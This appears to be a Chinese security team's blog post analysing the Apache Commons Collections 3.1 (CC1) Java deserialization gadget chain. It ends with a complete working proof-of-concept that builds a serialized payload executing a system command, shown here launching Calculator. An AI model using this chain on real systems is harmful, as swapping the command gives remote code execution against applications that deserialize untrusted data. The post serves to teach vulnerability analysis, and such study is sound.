环境

JDK1.7

Idea 2020.1

Apache CommonCollections V3.1

Idea默认版本Maven

Gadget Chains

将Gadget Chains分片分析,“=”下为迭代链,“=”上为利用链。
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get()==================================================================== ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()

Gadget Chains 1(迭代链)

将迭代链再分片,“=”下为其具体实现,“=”为其前置条件。
ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() =================================================================== Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()

具体实现

InvokerTransformer

InvokerTransformer#transform方法通过反射调用构造方法中传入的方法。

据InvokerTransformer类的构造方法和transform方法源码,可给出具体实现部分代码,“=”下为transform方法注释。
Runtime rt = Runtime.getRuntime();InvokerTransformer transformer = InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Users/lixq/Desktop/1.txt"});transformer.transform(rt);======================================================//Runtime rt = Runtime.getRuntime();//Class clazz = rt.getClass();//Method method = clazz.getMethod("exec",String.class);//method.invoke(rt,"open /Users/lixq/Desktop/1.txt");

前置条件

ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime()
通过给出的Gadget Chains 1可知前置部分通过多次transform方法执行Runtime.getRuntime方法获取Runtime实例,由下而上逆推可得到前置部分实现代码。

由于Runtime类未继承Serializable故其不能直接反序列化,需要通过反射来一步步获取一个Runtime实例。为便于理解,下面先给出具体逻辑实现代码。
Class clazz = Class.forName("java.lang.Runtime");Class clsClazz = clazz.getClass();Method m1 = clsClazz.getMethod("getMethod", String.class, Class[].class);Object o1 = m1.invoke(clazz,new Object[]{"getRuntime",new Class[0]});Method m2 = m1.getClass().getMethod("invoke", Object.class, Object[].class);Object o2 = m2.invoke(o1,new Object[]{null,null});System.out.println(o1);System.out.println(o2);
使用Transformer迭代链实现之,具体如下。
ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);Object clsObj = constantTransformer.transform(1);InvokerTransformer invokerTransformer1 = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]} );Object getMethodObj = invokerTransformer1.transform(clsObj);System.out.println(getMethodObj);InvokerTransformer invokerTransformer2 = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});Object getRuntimeObj = invokerTransformer2.transform(getMethodObj);System.out.println(getRuntimeObj);
逐语句分析,ConstantTransformer#transformer会返回传入对象本身即Runtime的类对象。
invokerTransformer1.transform返回Runtime.getRuntime方法的Method对象。
invokerTransformer2.transform通过反射调用Method.invoke方法即调用getRumtime这个Method对象invoke方法返回一个Runtime对象。

迭代链实现

迭代链中用到的三个tranform方法:

1.InvokerTransformer.transform():在具体实现中已经给出其实现方法。

2.ConstanTransformer.transform():返回传入对象本身,在前置条件中已给出其实现方法。

3.ChainedTransformer.transform():此方法实现了对每个传入的transformer都调用其transform方法,并将结果作为下一次的输入传递进去。

综合前置条件和具体实现迭代链的最终实现代码和执行结果。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /System/Applications/Calculator.app "}) });chainedTransformer.transform(1);

Gadget Chains 2(利用链)

ObjectInputStream.readObject()AnnotationInvocationHandler.readObject()Map(Proxy).entrySet()AnnotationInvocationHandler.invoke()LazyMap.get()
由后至前分析,LazyMap.get():当传入的key不存在时执行this.factory.transform,若此时传入的this.factory为构造好的迭代链chainedTransformer则可执行系统命令。

由于LazyMap的构造方法使用protected修饰,故无法直接new一个LazyMap的实例对象,但其提供了decorate方法来实例化一个LazyMap对象。

此时可完成构造利用链的第一步,如下。
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},newObject[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},newObject[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},newObject[]{"open /System/Applications/Calculator.app "}) });chainedTransformer.transform(1);Hashmap map = new HashMap();LazyMap lazyMap = LazyMap.decorate(map,chainedTransformer);lazyMap.get(1);
继而向上,AnnotationInvocationHandler implements自InvocationHandler和Serializable是处理注解的类,构造该类需要提供两个参数,一个是Annotation类,一个是Map对象,此类未使用public修饰只能通过反射创建实例。
AnnotationInvocationHandler.invoke:关注代码注释部分,它执行了this.memberValues.get(var4),this.membrtValues等于构造方法中的var2也就是当构造方法中传入的var2为LazyMap对象时会执行LazyMap.get方法。
publicObject invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes();if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {returnthis.equalsImpl(var3[0]); } elseif (var5.length != 0) {thrownew AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1;switch(var4.hashCode()) {case-1776922004:if (var4.equals("toString")) { var7 = 0; }break;case147696667:if (var4.equals("hashCode")) { var7 = 1; }break;case1444986633:if (var4.equals("annotationType")) { var7 = 2; } }switch(var7) {case0:returnthis.toStringImpl();case1:returnthis.hashCodeImpl();case2:returnthis.type;default:Object var6 = this.memberValues.get(var4);if (var6 == null) {thrownew IncompleteAnnotationException(this.type, var4); } elseif (var6 instanceof ExceptionProxy) {throw ((ExceptionProxy)var6).generateException(); } else {if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); }return var6; } } } }// default:// Object var6 = this.memberValues.get(var4);
通过动态代理来实现对AnnotationInvocationHandler.invoke方法的调用,先给出代理对象的生成方法注释。
Proxy.newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h);//Proxy类就是用来创建一个代理对象的类,它提供了很多方法,但最常用的是newProxyInstance方法。//InvocationHandler接口是proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;//在代理实例调用方法时,方法调用被分派到调用处理程序的invoke方法。//其相当于一种代码增强,即在原先的方法逻辑上加上额外操作,在方法执行之前和之后加点通用逻辑,方便实现和维护。
先看下
AnnotationInvocationHandler.readObject()方法实现,this.memberValues是其构造方法中传入的Map对象,当其是一个代理Map对象并执行this.memberValues.entrySet().iterator()时会调用memberValues对应InvocationHandler对象的invoke方法。

综上,可给出利用链实现代码。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap);Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap);ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin"));objectOutputStream.writeObject(handler);objectOutputStream.close();

POC

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.HashMap;import java.util.Map;class CC1 {publicstaticvoid main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {//构造迭代链 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},newObject[]{"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},newObject[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},newObject[]{"open /System/Applications/Calculator.app "}) }); 构造利用链 HashMap map = new HashMap(); map.put("11","22"); LazyMap lazyMap = (LazyMap) LazyMap.decorate(map,chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Override.class,proxyMap); //序列化 ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("./Poc.bin")); objectOutputStream.writeObject(handler); objectOutputStream.close(); //反序列化 ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./Poc.bin")); inputStream.readObject(); }}
总结下CommonCollections1 反序列化执行恶意代码过程:

通过动态代理调用
AnnotationInvocationHandler.invoke(),AnnotationInvocationHandler对象构造时传入LazyMap,在调用其invoke方法时会执行LazyMap.get(),构造LazyMap对象时传入构造好的迭代链,执行LazyMap.get()时调用ChianedTransformer.transform(),最终执行系统命令。
E
N
D
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。
继续阅读
阅读原文